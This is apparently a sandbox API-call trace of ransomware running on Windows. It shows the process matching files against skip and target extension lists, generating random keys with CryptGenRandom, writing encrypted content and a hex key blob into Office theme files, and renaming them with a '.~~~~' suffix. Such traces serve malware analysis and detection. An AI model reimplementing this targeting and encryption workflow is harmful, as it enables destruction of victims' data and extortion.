	[0086.235] lstrlenW (lpString=".db") returned 3
	[0086.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".db") returned 0x0
	[0086.235] lstrlenW (lpString=".TXT") returned 4
	[0086.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".TXT") returned 0x0
	[0086.235] lstrlenW (lpString=".MDF") returned 4
	[0086.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".MDF") returned 0x0
	[0086.235] lstrlenW (lpString=".bdb") returned 4
	[0086.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".bdb") returned 0x0
	[0086.236] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0086.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.236] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0086.237] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.237] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0086.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0086.237] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20622713296) returned 1
	[0086.237] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9d34e710, dwHighDateTime=0x1d60e1e)) 
	[0086.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0086.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0086.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0086.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6ab0
	[0086.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ab0 | out: hHeap=0x300000) returned 1
	[0086.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ba7a8
	[0086.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba7a8 | out: hHeap=0x300000) returned 1
	[0086.238] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0086.238] GetLastError () returned 0x0
	[0086.238] GetLastError () returned 0x0
	[0086.238] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0086.238] GetLastError () returned 0x0
	[0086.238] GetLastError () returned 0x0
	[0086.240] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffe1c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.240] WriteFile (in: hFile=0x124, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x1e4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x1e4, lpOverlapped=0x0) returned 1
	[0086.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.240] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.240] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.241] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.241] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.241] CloseHandle (hObject=0x124) returned 1
	[0086.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0086.241] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf.~~~~")) returned 1
	[0086.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0086.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0086.365] GetLastError () returned 0x0
	[0086.381] RtlWakeConditionVariable () returned 0x365f70
	[0086.381] GetCurrentThreadId () returned 0x9f4
	[0086.386] GetCurrentThreadId () returned 0x9f4
	[0086.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baee0
	[0086.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb618 | out: hHeap=0x300000) returned 1
	[0086.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ddc8 | out: hHeap=0x300000) returned 1
	[0086.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb618
	[0086.386] lstrlenW (lpString=".scr") returned 4
	[0086.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".scr") returned 0x0
	[0086.386] lstrlenW (lpString=".cmd") returned 4
	[0086.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".cmd") returned 0x0
	[0086.386] lstrlenW (lpString=".dll") returned 4
	[0086.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".dll") returned 0x0
	[0086.386] lstrlenW (lpString=".bat") returned 4
	[0086.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".bat") returned 0x0
	[0086.386] lstrlenW (lpString=".cpl") returned 4
	[0086.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".cpl") returned 0x0
	[0086.387] lstrlenW (lpString=".sys") returned 4
	[0086.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".sys") returned 0x0
	[0086.387] lstrlenW (lpString=".msc") returned 4
	[0086.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".msc") returned 0x0
	[0086.387] lstrlenW (lpString=".com") returned 4
	[0086.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".com") returned 0x0
	[0086.387] lstrlenW (lpString=".lnk") returned 4
	[0086.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".lnk") returned 0x0
	[0086.387] lstrlenW (lpString=".msp") returned 4
	[0086.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".msp") returned 0x0
	[0086.387] lstrlenW (lpString=".pif") returned 4
	[0086.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".pif") returned 0x0
	[0086.387] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0086.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0086.433] lstrlenW (lpString=".sqb") returned 4
	[0086.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".sqb") returned 0x0
	[0086.433] lstrlenW (lpString=".ost") returned 4
	[0086.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".ost") returned 0x0
	[0086.434] lstrlenW (lpString=".txt") returned 4
	[0086.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".txt") returned 0x0
	[0086.434] lstrlenW (lpString=".mdt") returned 4
	[0086.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".mdt") returned 0x0
	[0086.434] lstrlenW (lpString=".BDB") returned 4
	[0086.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".BDB") returned 0x0
	[0086.434] lstrlenW (lpString=".eql") returned 4
	[0086.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".eql") returned 0x0
	[0086.434] lstrlenW (lpString=".DBF") returned 4
	[0086.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".DBF") returned 0x0
	[0086.434] lstrlenW (lpString=".EQL") returned 4
	[0086.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".EQL") returned 0x0
	[0086.434] lstrlenW (lpString=".FDB") returned 4
	[0086.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".FDB") returned 0x0
	[0086.434] lstrlenW (lpString=".EDB") returned 4
	[0086.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".EDB") returned 0x0
	[0086.434] lstrlenW (lpString=".DACPAC") returned 7
	[0086.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".DACPAC") returned 0x0
	[0086.434] lstrlenW (lpString=".VHD") returned 4
	[0086.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".VHD") returned 0x0
	[0086.434] lstrlenW (lpString=".DBV") returned 4
	[0086.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".DBV") returned 0x0
	[0086.434] lstrlenW (lpString=".dacpac") returned 7
	[0086.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".dacpac") returned 0x0
	[0086.434] lstrlenW (lpString=".sdf") returned 4
	[0086.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".sdf") returned 0x0
	[0086.435] lstrlenW (lpString=".accdb") returned 6
	[0086.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".accdb") returned 0x0
	[0086.435] lstrlenW (lpString=".DBX") returned 4
	[0086.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".DBX") returned 0x0
	[0086.435] lstrlenW (lpString=".MDT") returned 4
	[0086.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".MDT") returned 0x0
	[0086.435] lstrlenW (lpString=".SQB") returned 4
	[0086.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".SQB") returned 0x0
	[0086.435] lstrlenW (lpString=".vhd") returned 4
	[0086.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".vhd") returned 0x0
	[0086.435] lstrlenW (lpString=".bac") returned 4
	[0086.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".bac") returned 0x0
	[0086.435] lstrlenW (lpString=".mdf") returned 4
	[0086.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".mdf") returned 0x0
	[0086.435] lstrlenW (lpString=".BAK") returned 4
	[0086.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".BAK") returned 0x0
	[0086.435] lstrlenW (lpString=".BAC") returned 4
	[0086.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".BAC") returned 0x0
	[0086.435] lstrlenW (lpString=".dbs") returned 4
	[0086.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".dbs") returned 0x0
	[0086.435] lstrlenW (lpString=".vhdx") returned 5
	[0086.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".vhdx") returned 0x0
	[0086.436] lstrlenW (lpString=".NDF") returned 4
	[0086.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".NDF") returned 0x0
	[0086.436] lstrlenW (lpString=".dat") returned 4
	[0086.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".dat") returned 0x0
	[0086.436] lstrlenW (lpString=".DBS") returned 4
	[0086.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".DBS") returned 0x0
	[0086.436] lstrlenW (lpString=".CKP") returned 4
	[0086.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".CKP") returned 0x0
	[0086.436] lstrlenW (lpString=".edb") returned 4
	[0086.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".edb") returned 0x0
	[0086.436] lstrlenW (lpString=".PST") returned 4
	[0086.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".PST") returned 0x0
	[0086.436] lstrlenW (lpString=".dbf") returned 4
	[0086.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".dbf") returned 0x0
	[0086.436] lstrlenW (lpString=".SQL") returned 4
	[0086.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".SQL") returned 0x0
	[0086.437] lstrlenW (lpString=".pst") returned 4
	[0086.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".pst") returned 0x0
	[0086.437] lstrlenW (lpString=".dbv") returned 4
	[0086.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".dbv") returned 0x0
	[0086.437] lstrlenW (lpString=".SDF") returned 4
	[0086.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".SDF") returned 0x0
	[0086.437] lstrlenW (lpString=".dtxs") returned 5
	[0086.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".dtxs") returned 0x0
	[0086.437] lstrlenW (lpString=".db3") returned 4
	[0086.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".db3") returned 0x0
	[0086.437] lstrlenW (lpString=".OST") returned 4
	[0086.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".OST") returned 0x0
	[0086.437] lstrlenW (lpString=".dbx") returned 4
	[0086.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".dbx") returned 0x0
	[0086.437] lstrlenW (lpString=".DB3") returned 4
	[0086.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".DB3") returned 0x0
	[0086.437] lstrlenW (lpString=".DAT") returned 4
	[0086.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".DAT") returned 0x0
	[0086.437] lstrlenW (lpString=".VHDX") returned 5
	[0086.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".VHDX") returned 0x0
	[0086.437] lstrlenW (lpString=".ndf") returned 4
	[0086.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".ndf") returned 0x0
	[0086.437] lstrlenW (lpString=".DB") returned 3
	[0086.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".DB") returned 0x0
	[0086.438] lstrlenW (lpString=".sql") returned 4
	[0086.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".sql") returned 0x0
	[0086.438] lstrlenW (lpString=".MYD") returned 4
	[0086.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".MYD") returned 0x0
	[0086.438] lstrlenW (lpString=".DBT") returned 4
	[0086.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".DBT") returned 0x0
	[0086.438] lstrlenW (lpString=".ACCDB") returned 6
	[0086.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".ACCDB") returned 0x0
	[0086.438] lstrlenW (lpString=".fdb") returned 4
	[0086.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".fdb") returned 0x0
	[0086.438] lstrlenW (lpString=".bak") returned 4
	[0086.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".bak") returned 0x0
	[0086.438] lstrlenW (lpString=".myd") returned 4
	[0086.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".myd") returned 0x0
	[0086.438] lstrlenW (lpString=".DTXS") returned 5
	[0086.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".DTXS") returned 0x0
	[0086.438] lstrlenW (lpString=".ckp") returned 4
	[0086.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".ckp") returned 0x0
	[0086.438] lstrlenW (lpString=".dbt") returned 4
	[0086.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".dbt") returned 0x0
	[0086.438] lstrlenW (lpString=".db") returned 3
	[0086.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".db") returned 0x0
	[0086.439] lstrlenW (lpString=".TXT") returned 4
	[0086.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".TXT") returned 0x0
	[0086.439] lstrlenW (lpString=".MDF") returned 4
	[0086.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".MDF") returned 0x0
	[0086.439] lstrlenW (lpString=".bdb") returned 4
	[0086.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".bdb") returned 0x0
	[0086.439] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0086.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.439] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0086.440] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.440] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0086.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.440] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20643044706) returned 1
	[0086.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9d53d8f0, dwHighDateTime=0x1d60e1e)) 
	[0086.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0086.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0086.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0086.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809130
	[0086.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809130 | out: hHeap=0x300000) returned 1
	[0086.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3baaf0
	[0086.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baaf0 | out: hHeap=0x300000) returned 1
	[0086.441] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0086.441] GetLastError () returned 0x0
	[0086.441] GetLastError () returned 0x0
	[0086.441] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0086.442] GetLastError () returned 0x0
	[0086.442] GetLastError () returned 0x0
